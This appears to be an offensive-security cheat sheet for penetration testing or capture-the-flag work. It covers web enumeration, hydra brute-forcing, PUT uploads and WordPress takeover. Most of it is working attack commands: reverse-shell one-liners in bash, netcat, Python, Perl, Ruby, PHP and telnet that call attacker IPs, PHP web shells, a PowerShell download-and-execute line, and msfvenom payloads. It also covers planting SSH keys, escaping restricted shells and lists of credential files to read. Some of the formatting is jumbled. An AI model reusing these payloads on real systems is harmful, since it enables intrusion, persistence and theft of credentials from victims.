http://www.example.com [200 OK] Cookies[ASP.NET_SessionId,CMSPreferredCulture,citrix_ns_id], Country[INDIA][IN], Email[infosecurity@zmail.example.com], Google-Analytics[Universal][UA-6386XXXXX-2], HTML5, HTTPServer[Example Webserver], HttpOnly[ASP.NET_SessionId,CMSPreferredCulture,citrix_ns_id], IP[XXX.XX.XX.208], JQuery[1.11.0], Kentico-CMS, Modernizr, Script[text/javascript], Title[Welcome to Example Website ][Title element contains newline(s)!], UncommonHeaders[cteonnt-length,x-cache-control-orig,x-expires-orig], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=9,IE=edge]
nikto
nikto - Scans a web server for known vulnerabilities.It will examine a web server to find potential problems and security vulnerabilities, including:
- Server and software misconfigurations
- Default files and programs
- Insecure files and programs
- Outdated servers and programs
dirb, wfuzz, dirbuster
Furthermore, we can run the following programs to find any hidden directories.- DIRB is a Web Content Scanner. It looks for existing (and/ or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analysing the response.
- wfuzz - a web application bruteforcer. Wfuzz might be useful when you are looking for webpage of a certain size. For example: Let’s say, when we dirb we get 50 directories. Each directory containing an image. Often, we then need to figure out which image is different. In this case, we would figure out what’s the size of the normal image and hide that particular response with wfuzz.
- Dirbuster : DirBuster is a multi threaded java application designed to brute force directories and files names on web/ application servers.
Tip
Most likely, we will be using common.txt (/usr/share/wordlists/dirb/) . If it’s doesn’t find anything, it’s better to double check with /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt which is a list of directories that where found on at least 2 different hosts when DirBuster project crawled the internet. Even if that doesn’t work out, try searching with extensions such as .txt, .js, .html, .php. (.txt by default and rest application based)
Tip
If using the dirb/ wfuzz wordlist doesn’t result in any directories and the website contains a lot of text, it might be a good idea to use cewl to create a wordlist and utilize that as a dictionary to find hidden directories. Also, it sometimes make sense to dirb/wfuzz the IPAddress instead of the hostname like filesrv.example.com (Maybe found by automatic redirect)
Todo
add Gobuster?
BurpSuite Spider
There will be some cases when dirb/ dirbuster doesn’t find anything. This happened with us on a Node.js web application. Burpsuite’s spider helped in finding extra-pages which contained the credentials.Parameter Fuzz?
Sometimes, we might have a scenario where we have a website which might be protected by a WAF.Now, this “/example” might be a php or might be accepting a GET Parameter. In that case, we probably need to fuzz it. The hardest part is that we can only find the GET parameters by fuzzing “/example” if you get some errors from the application, so the goal is to fuzz using a special char as the parameter’s value, something like: “/example?FUZZ=’ “
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: SomethingNotObivousforWAF" "http://IP/example?FUZZ='"
PUT Method
Sometimes, it is also a good idea to check the various HTTP verbs that are available such as GET, PUT, DELETE, etc. This can be done by making an OPTIONS request.Curl can be used to check the available options (supported http verbs):
curl -X OPTIONS -v http://192.168.126.129/test/
Trying 192.168.126.129…
Connected to 192.168.126.129 (192.168.126.129) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.126.129
> User-Agent: curl/7.47.0
> Accept: /
>
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Fri, 29 Apr 2016 09:41:19 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.126.129 left intact
A few are:
- Nmap:
nmap -p 80 --script http-put --script-args http-put.url='/uploads/rootme.php',http-put.file='/tmp/rootme.php'
- curl:
orcurl --upload-file test.txt -v --url http://192.168.126.129/test/test.txt
curl -X PUT -d ' curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d @"/tmp/some-file.xml" http://IPAddress/newpage curl -X PUT -d "text or data to put" http://IPAddress/destination_page curl -i -H "Accept: application/json" -X PUT -d "text or data to put" http://IPAddress/new_page
Wordpress
When faced with a website that makes use of the wordpress CMS one can run wpscan. Make sure you run –enumerate u for enumerating usernames because by default wpscan doesn’t run it. Also, scan for pluginswpsscan
--url | -u <target url> The WordPress URL/domain to scan.
--force | -f Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)] Enumeration.
option :
u usernames from id 1 to 10
u[10-20] usernames from id 10 to 20 (you must write [] chars)
p plugins
vp only vulnerable plugins
ap all plugins (can take a long time)
tt timthumbs (vulnerability scanner)
t themes
vt only vulnerable themes
at all themes (can take a long time)
Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
If no option is supplied, the default is "vt,tt,u,vp"
(only vulnerable themes, timthumbs, usernames from id 1 to 10, only vulnerable plugins)
wpscan --url http://192.168.1.2 --wordlist wordlist.txt --username example_username
- If we have found a username and password of wordpress with admin privileges, we can upload a php meterpreter. One of the possible ways is to go to Appearance > Editor > Edit 404 Template.
- The configuration of worpdress is normally speaking stored in wp-config.php. If you are able to download it, you might be lucky and be able to loot plaintext username and passwords to the database or wp-admin page.
- If the website is vulnerable for SQL-Injection. We should be able to extract the wordpress users and their password hashes. However, if the password hash is not crackable. Probably, check the wp-posts table as it might contain some hidden posts.
- Got wordpress credentials, maybe utilize WPTerm an xterm-like plugin. It can be used to run non-interactive shell commands from the WordPress admin dashboard.
- If there’s a custom plugin created, it would probably be in the location
Todo
what is the (standard) format of a wp hash and where in the database is it stored? Elborate more on wp scanning and vulnerabilities?
Names? Possible Usernames & Passwords?
Sometimes, when visiting webpages, you will find possible names of the employees working in the company. It is common practice to have a username based on your first/ last name. Superkojiman has written namemash.py which could be used to create possible usernames. However, after completion we are left with a large amount of potential usernames with no passwords.If the vulnerable machine is running a SMTP mail server, we can verify if a particular username exists or not.
- Using metasploit smtp_enum module: Once msfconsole is running, use auxiliary/scanner/smtp/smtp_enum, enter the RHOSTS (target address) and USER FILE containing the list of probable user accounts.
- Using VRFY command:
- Using RCPT TO command:
Brute forcing: hydra
Hydra can be used to brute force login web pages-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE (userlist)
-p PASS or -P FILE try password PASS, or load several passwords from FILE (passwordlist)
-U service module usage details
-e nsr additional checks, "n" for null password, "s" try login as pass, "r" try the reverse login as pass
hydra -U http-post-form
Module http-post-form requires the page and the parameters for the web form.
The parameters take three “:” separated values, plus optional values.
Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
- First is the page on the server to send a GET or POST request to (URL).
- Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced with the “^USER^” and “^PASS^” placeholders (FORM PARAMETERS)
- Third is the string that it checks for an invalid login (by default). Invalid condition login check can be preceded by “F=”, successful condition login check must be preceded by “S=”. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter!
- The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers!
Examples:
- Note:
- ‘h’ will add the user-defined header at the end regardless it’s already being sent by Hydra or not.
- ‘H’ will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end
- Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
"/login.php:user=^USER^&pass=^PASS^:incorrect"
"/login.php:user=^USER^&pass=^PASS^&colon=colon\:escape:S=authlog=.*success"
"/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
"/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^"
"/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"
Todo
Add a program/binary that an easier syntax, ncrack maybe? Elaborate on the examples, eg. what they will do once executed?
Reverse Shells
Once we have figured out some vulnerability or misconfiguration in a running service which allows us to make a connection back to our attack machine, we would like to set up a reverse shell. This can be done through version methods e.g. by using netcat, php, weevely, ruby, perl, python, java, jsp, bash tcp, Xterm, Lynx, Mysql. The section below has been mostly adapted from PentestMonkey Reverse shell cheat sheet and Reverse Shell Cheat sheet from HighOn.Coffee and more.netcat (nc)
- with the -e option
nc -e /bin/sh 10.1.1.1 4444
- without -e option
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Tip
f in this case is a file name, if you want to have more then one reverse shell with this method you will have to use another letter (a … z) then the one you used intially.
PHP
- PHP Web Shell
This is a kind of Web shell and not a reverse shell.
We can create a new file say (shell.php) on the server containing
or<?php system($_GET["cmd"]); ?>
or<?php echo shell_exec($_GET["cmd"]); ?>
which can then be accessed by<? passthru($_GET["cmd"]); ?>
If there’s a webpage which accepts phpcode to be executed, we can use curl to urlencode the payload and run it.
The sed command in the endcurl -G -s http://10.X.X.X/somepage.php?data= --data-urlencode "html=<?php passthru('ls -lah'); ?>" -b "somecookie=somevalue" | sed '/<html>/,/<\/html>/d' -G When used, this option will make all data specified with -d, --data, --data-binary or --data-urlencode to be used in an HTTP GET request instead of the POST request that otherwise would be used. The data will be appended to the URL with a '?' separator. -data-urlencode <data> (HTTP) Posts data, similar to the other -d, --data options with the exception that this performs URL-encoding. -b, --cookie <data> (HTTP) Passes the data to the HTTP server in the Cookie header. It is supposedly the data previously received from the server in a "Set-Cookie:" line. The data should be in the format "NAME1=VALUE1; NAME2=VALUE2".
deletes the content between <html> and </html> tag.sed '/<html>/,/<\/html>/d'
If you also want to provide upload functionality (imagine, if we need to upload nc64.exe on Windows or other-binaries on linux), we can put the below code in the php file
The above can be accessed by<?php if (isset($_REQUEST['fupload'])) { file_put_contents($_REQUEST['fupload'], file_get_contents("http://yourIP/" . $_REQUEST['fupload'])); }; if (isset($_REQUEST['cmd'])) { echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>
- PHP Meterpreter
We can create a php meterpreter shell, run a exploit handler on msf, upload the payload on the server and wait for the connection.
We can set the multi-handler in metasploit bymsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o /tmp/payload.php
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST yourIP run
- PHP Reverse Shell
The code below assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4 or 5 or 6.
The above can be connected to by listening on port 1337 by using nc.php -r '$sock=fsockopen("192.168.56.101",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
Weevely
Weevely also generates a webshellweevely generate password /tmp/payload.php
weevely http://192.168.1.2/location_of_payload password
Todo
Elobrate -> why wasn’t it useful? iirc (really not sure) if you don’t provide a password it will ask for it
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
TCPpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
import os,pty,socket;s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("10.10.14.17", 4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE",'/dev/null');pty.spawn("/bin/sh");s.close()
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f war > runme.war
Bash /dev/tcp
If a server (attacker machine) is listening on a port:nc -lvp port
Method 1:
/bin/bash -i >&/dev/tcp/IP/Port 0>&1
exec 5<>/dev/tcp/IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/IP/Port; sh <&196 >&196 2>&196
-- We may execute the above using bash -c "Aboveline "
The following script fetches the front page from Google:
exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3
- The first line causes file descriptor 3 to be opened for reading and writing on the specified TCP/IP socket. This is a special form of the exec statement. From the bash man page:
If command is not specified, any redirections take effect in the current shell, and the return status is 0. So using exec without a command is a way to open files in the current shell.exec [-cl] [-a name] [command [arguments]]
- Second line: After the socket is open we send our HTTP request out the socket with the echo … >&3 command. The request consists of:
Each line is followed by a carriage-return and newline, and all the headers are followed by a blank line to signal the end of the request (this is all standard HTTP stuff).GET / HTTP/1.1 host: http://www.google.com Connection: close
- Third line: Next we read the response out of the socket using cat <&3, which reads the response and prints it out.
Telnet Reverse Shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
Todo
explain the example above
XTerm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the victim server. It will try to connect back to you (10.0.0.1) on TCP port 6001.xterm -display 10.0.0.1:1
Xnest :1 -listen tcp
xhost +targetip
Lynx
Obtain an interactive shell through lynx: It is possible to obtain an interactive shell via special LYNXDOWNLOAD URLs. This is a big security hole for sites that use lynx “guest accounts” and other public services. More details LynxShellWhen you start up a lynx client session, you can hit “g” (for goto) and then enter the following URL:
URL to open: LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/null
MYSQL
- If we have MYSQL Shell via sqlmap or phpmyadmin, we can use mysql outfile/ dumpfile function to upload a shell.
orecho -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28293b203f3e select 0x3c3f70687020706870696e666f28293b203f3e into outfile "/var/www/html/blogblog/wp-content/uploads/phpinfo.php"
SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';
- If you have sql-shell from sqlmap/ phpmyadmin, we can read files by using the load_file function.
select load_file('/etc/passwd');
Reverse Shell from Windows
If there’s a way, we can execute code from windows, we may try- Uploading ncat and executing it
- Powershell Empire/ Metasploit Web-Delivery Method
- Invoke-Shellcode (from powersploit)
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://YourIPAddress:8000/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost YourIPAddress -Lport 4444 -Force"
Todo
add Nishang?
MSF Meterpreter ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.XX.110 LPORT=4446
Metasploit MSFVenom
Ever wondered from where the above shells came from? Maybe try msfvenom and grep for cmd/unixmsfvenom -l payloads | grep "cmd/unix"
**snip**
cmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWK
cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl
cmd/unix/interact Interacts with a shell on an established socket connection
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
**snip**
msfvenom -p cmd/unix/bind_netcat
Payload size: 105 bytes
mkfifo /tmp/cdniov; (nc -l -p 4444 ||nc -l 4444)0</tmp/cdniov | /bin/sh >/tmp/cdniov 2>&1; rm /tmp/cdniov
Spawning a TTY Shell
Once we have reverse shell, we need a full TTY session by using either Python, sh, perl, ruby, lua, IRB. Spawning a TTY Shell and Post-Exploitation Without A TTY have provided multiple ways to get a tty shellPython
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import os; os.system("/bin/bash")'
sh
/bin/sh -i
Perl
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
Ruby
ruby: exec "/bin/sh"
Lua
lua: os.execute('/bin/sh')
IRB
(From within IRB)exec "/bin/sh"
VI
(From within vi):!bash
:set shell=/bin/bash:shell
vi ;/bin/bash
Nmap
(From within nmap)!sh
Expect
Using “Expect” To Get A TTY$ cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact
Sneaky Stealthy SU in (Web) Shells
Let’s say we have a webshell on the server (probably, we would be logged in as a apache user), however, if we have credentials of another user, and we want to login we need a tty shell. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell.Example
Webshell like
If we try
echo password | su -c whoami
standard in must be a tty
(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"
root
Spawning a Fully Interactive TTYs Shell
Ronnie Flathers has already written a great blog on Upgrading simple shells to fully interactive TTYs Hence, almost everything is taken from that blog post and kept here for completion.Many times, we will not get a fully interactive shell therefore it will/ have:
- Difficult to use the text editors like vim
- No tab-complete
- No up arrow history
- No job control
Socat
Socat can be used to pass full TTY’s over TCP connections.On Kali-Machine (Attackers - Probably yours)
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Download the correct binary architecture of socat to a writable directory, chmod it, execute
stty
Use the methods mentioned in Spawning a TTY ShellOnce bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, examine the current terminal and STTY info so we can force the connected shell to match it
echo $TERM
xterm-256color
stty -a
speed 38400 baud; rows 59; columns 264; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
With the shell still backgrounded, set the current STTY to type raw and tell it to echo the input characters with the following command:
stty raw -echo
Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset.
After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116
ssh-key
If we have some user shell or access, probably it would be a good idea to generate a new ssh private-public key pair using ssh-keygenssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bitvijays/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/bitvijays/.ssh/id_rsa.
Your public key has been saved in /home/bitvijays/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:JbdAhAIPl8qm/kCANJcpggeVoZqWnFRvVbxu2u9zc5U bitvijays@Kali-Home
The key's randomart image is:
+---[RSA 2048]----+
|o==*+. +=. |
|=o**+ o. . |
|=+...+ o + |
|=.* . * . |
|oO S . .|
|+ o E.|
|.. + .|
| .. . . . o . |
| .. ooo o |
+----[SHA256]-----+
cat /home/bitvijays/.ssh/id_rsa.pub
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tbCpnhU5qQm6typWI52FCin6NDYP0hmQFfag2kDwMDIS0j1ke/kuxfqfQKlbva9eo6IUaCrjIuAqbsZTsVjyFfjzo/hDKycR1M5/115Jx4q4v48a7BNnuUqi +qzUFjldFzfuTp6XM1n+Y1B6tQJJc9WruOFUNK2EX6pmOIkJ8QPTvMXYaxwol84MRb89V9vHCbfDrbWFhoA6hzeQVtI01ThMpQQqGv5LS+rI0GVlZnT8cUye0uiGZW7ek9DdcTEDtMUv1Y99zivk4FJmQWLzxplP5dUJ1NH5rm6YBH8CoQHLextWc36Ih18xsyzW8qK4Bfl4sOtESHT5/3PlkQHN bitvijays@Kali-Home" >> /home/user/.ssh/authorized_keys
ssh user@hostname -i id_rsa
Restricted Shell
Sometimes, after getting a shell, we figure out that we are in restricted shell. The below has been taken from Escaping Restricted Linux Shells, Escape from SHELLcatrazDefinition
It limits a user’s ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:- Using the ‘cd’ command to change directories.
- Setting or un-setting certain environment variables (i.e. SHELL, PATH, etc…).
- Specifying command names that contain slashes.
- Specifying a filename containing a slash as an argument to the ‘.’ built-in command.
- Specifying a filename containing a slash as an argument to the ‘-p’ option to the ‘hash’ built-in command.
- Importing function definitions from the shell environment at startup.
- Parsing the value of SHELLOPTS from the shell environment at startup.
- Redirecting output using the ‘>’, ‘>|’, “, ‘>&’, ‘&>’, and ‘>>’ redirection operators.
- Using the ‘exec’ built-in to replace the shell with another command.
- Adding or deleting built-in commands with the ‘-f’ and ‘-d’ options to the enable built-in.
- Using the ‘enable’ built-in command to enable disabled shell built-ins.
- Specifying the ‘-p’ option to the ‘command’ built-in.
- Turning off restricted mode with ‘set +r’ or ‘set +o restricted
- rbash
bash -r cd bash: cd: restricted
- rsh
- rksh
Reconnaissance
Find out information about the environment.- Run env to see exported environment variables
- Run ‘export -p’ to see the exported variables in the shell. This would tell which variables are read-only. Most likely the PATH ($PATH) and SHELL ($SHELL) variables are ‘-rx’, which means we can execute them, but not write to them. If they are writeable, we would be able to escape the restricted shell!
- If the SHELL variable is writeable, you can simply set it to your shell of choice (i.e. sh, bash, ksh, etc…).
- If the PATH is writeable, then you’ll be able to set it to any directory you want. We recommend setting it to one that has commands vulnerable to shell escapes.
- Try basic Unix commands and see what’s allowed ls, pwd, cd, env, set, export, vi, cp, mv etc.
Quick Wins
- If ‘/’ is allowed in commands just run /bin/sh
- If we can set PATH or SHELL variableor if chsh command is present just change the shell to /bin/bash
export PATH=/bin:/usr/bin:/sbin:$PATH export SHELL=/bin/sh
chsh password: <password will be asked> /bin/bash
- If we can copy files into existing PATH, copy
cp /bin/sh /current/directory; sh
Taking help of binaries
Some commands let us execute other system commands, often bypassing shell restrictions- ftp -> !/bin/sh
- gdb -> !/bin/sh
- more/ less/ man -> !/bin/sh
- vi -> :!/bin/sh : Refer Breaking out of Jail : Restricted Shell and Restricted Accounts and Vim Tricks in Linux and Unix
- scp -S /tmp/getMeOut.sh x y : Refer Breaking out of rbash using scp
- awk ‘BEGIN {system(“/bin/sh”)}’
- find / -name someName -exec /bin/sh ;
- tee
echo "Your evil code" | tee script.sh
- Invoke shell thru scripting language
- Python
python -c 'import os; os.system("/bin/bash")
- Perl
perl -e 'exec "/bin/sh";'
SSHing from outside
- Use SSH on your machine to execute commands before the remote shell is loaded:
ssh username@IP -t "/bin/sh"
- Start the remote shell without loading “rc” profile (where most of the limitations are often configured)
ssh username@IP -t "bash --noprofile" -t Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple -t options force tty allocation, even if ssh has no local tty
Getting out of rvim
Main difference of rvim vs vim is that rvim does not allow escape to shell with previously described techniques and, on top of that, no shell commands at all. Taken from vimjail- To list all installed features it is possible to use ‘:version’ vim command.
:version VIM - Vi IMproved 8.0 (2016 Sep 12, compiled Nov 04 2017 04:17:46) Included patches: 1-1257 Modified by pkg-vim-maintainers@lists.alioth.debian.org Compiled by pkg-vim-maintainers@lists.alioth.debian.org Huge version with GTK2 GUI. Features included (+) or not (-): +acl +cindent +cryptv -ebcdic +float +job +listcmds +mouse_dec +multi_byte +persistent_undo +rightleft +syntax +termresponse +visual +X11 +arabic +clientserver +cscope +emacs_tags +folding +jumplist +localmap +mouse_gpm +multi_lang +postscript +ruby +tag_binary +textobjects +visualextra -xfontset +autocmd +clipboard +cursorbind +eval -footer +keymap +lua -mouse_jsbterm -mzscheme +printer +scrollbind +tag_old_static +timers +viminfo +xim +balloon_eval +cmdline_compl +cursorshape +ex_extra +fork() +lambda +menu +mouse_netterm +netbeans_intg +profile +signs -tag_any_white +title +vreplace +xpm +browse +cmdline_hist +dialog_con_gui +extra_search +gettext +langmap +mksession +mouse_sgr +num64 -python +smartindent +tcl +toolbar +wildignore +xsmp_interact ++builtin_terms +cmdline_info +diff +farsi -hangul_input +libcall +modify_fname -mouse_sysmouse +packages +python3 +startuptime +termguicolors +user_commands +wildmenu +xterm_clipboard +byte_offset +comments +digraphs +file_in_path +iconv +linebreak +mouse +mouse_urxvt +path_extra +quickfix +statusline +terminal +vertsplit +windows -xterm_save +channel +conceal +dnd +find_in_path +insert_expand +lispindent +mouseshape +mouse_xterm +perl +reltime - sun_workshop +terminfo +virtualedit +writebackup system vimrc file: "$VIM/vimrc"
- Examining installed features and figure out which interpreter is installed.
- If python/ python3 has been installed
:python3 import pty;pty.spawn("/bin/bash")
Gather information from files
In case of LFI or unprivileged shell, gathering information could be very useful. Mostly taken from g0tmi1k Linux Privilege Escalation BlogOperating System
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
/Proc Variables
/proc/sched_debug This is usually enabled on newer systems, such as RHEL 6. It provides information as to what process is running on which cpu. This can be handy to get a list of processes and their PID number.
/proc/mounts Provides a list of mounted file systems. Can be used to determine where other interesting files might be located
/proc/net/arp Shows the ARP table. This is one way to find out IP addresses for other internal servers.
/proc/net/route Shows the routing table information.
/proc/net/tcp
/proc/net/udp Provides a list of active connections. Can be used to determine what ports are listening on the server
/proc/net/fib_trie This is used for route caching. This can also be used to determine local IPs, as well as gain a better understanding of the target's networking structure
/proc/version Shows the kernel version. This can be used to help determine the OS running and the last time it's been fully updated.
/proc/[PID]/cmdline Lists everything that was used to invoke the process. This sometimes contains useful paths to configuration files as well as usernames and passwords.
/proc/[PID]/environ Lists all the environment variables that were set when the process was invoked. This also sometimes contains useful paths to configuration files as well as usernames and passwords.
/proc/[PID]/cwd Points to the current working directory of the process. This may be useful if you don't know the absolute path to a configuration file.
/proc/[PID]/fd/[#] Provides access to the file descriptors being used. In some cases this can be used to read files that are opened by a process.
Environment Variables
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
Configuration Files
- Apache Web Server : Helps in figuring out the DocumentRoot where does your webserver files are?
/etc/apache2/apache2.conf /etc/apache2/sites-enabled/000-default
User History
~/.bash_history
~/.nano_history
~/.atftp_history
~/.mysql_history
~/.php_history
~/.viminfo
Private SSH Keys / SSH Configuration
~/.ssh/authorized_keys : specifies the SSH keys that can be used for logging into the user account
~/.ssh/identity.pub
~/.ssh/identity
~/.ssh/id_rsa.pub
~/.ssh/id_rsa
~/.ssh/id_dsa.pub
~/.ssh/id_dsa
/etc/ssh/ssh_config : OpenSSH SSH client configuration files
/etc/ssh/sshd_config : OpenSSH SSH daemon configuration file
Unprivileged Shell to Privileged Shell
Probably, at this point of time, we would have unprivileged shell of user www-data. If you are on Windows, there are particular set of steps. If you are on linux, it would be a good idea to first check privilege escalation techniques from g0tm1lk blog such as if there are any binary executable with SUID bits, if there are any cron jobs running with root permissions.[Linux] If you have become a normal user of which you have a password, it would be a good idea to check sudo -l (for every user! Yes, even for www-data) to check if there are any executables you have permission to run.
Windows Privilege Escalation
If you have a shell/ meterpreter from a windows box, probably, the first thing would be to utilizeSystemInfo
Run system info and findout- Operating System Version
- Architecture : Whether x86 or x64.
- Hotfix installed
systeminfo
Host Name: VICTIM-MACHINE
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00496-001-0001283-84782
Original Install Date: 18/3/2017, 7:04:46 ��
System Boot Time: 7/11/2017, 3:13:00 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2100 Mhz
[02]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2100 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 5/4/2016
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2.048 MB
Available Physical Memory: 1.640 MB
Virtual Memory: Max Size: 4.095 MB
Virtual Memory: Available: 3.665 MB
Virtual Memory: In Use: 430 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.54.98.9
C:\Windows\SoftwareDistribution\Download
